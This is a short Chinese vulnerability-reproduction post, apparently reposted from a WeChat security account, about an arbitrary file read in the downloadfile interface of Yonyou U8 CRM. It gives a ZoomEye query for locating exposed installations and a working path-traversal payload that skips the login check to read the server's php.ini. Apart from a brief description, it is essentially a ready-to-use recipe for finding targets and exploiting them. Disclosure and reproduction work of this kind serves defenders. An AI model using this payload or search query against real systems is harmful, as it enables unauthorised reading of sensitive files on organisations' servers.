一、漏洞详情
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM downloadfile 接口存在任意文件读取漏洞。未经授权的远程攻击者可以利用该漏洞,造成敏感信息泄露。
二、搜索语法
使用 ZoomEye 搜索
app:"用友 U8 CRM"
https://www.zoomeye.org/searchResult?q=app%3A%22%E7%94%A8%E5%8F%8B%20U8%20CRM%22
三、漏洞复现
使用 payload
GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini HTTP/1.1
复现截图
原文始发于微信公众号(增益安全):漏洞复现—用友U8 CRM客户关系管理系统 downloadfile 任意文件读取
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论